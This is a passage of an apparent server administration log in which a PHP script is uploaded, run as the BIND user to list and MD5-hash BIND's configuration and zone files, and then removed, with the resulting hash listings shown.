MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:09:39: Establishing a connection
2026-05-13 14:09:40: 

PUT: /tmp/pkp152580

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:09:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp152580; rm /tmp/pkp152580'

2026-05-13 14:09:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:10:15: Establishing a connection
2026-05-13 14:10:15: 

PUT: /tmp/pkp254014

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:10:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp254014; rm /tmp/pkp254014'

2026-05-13 14:10:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
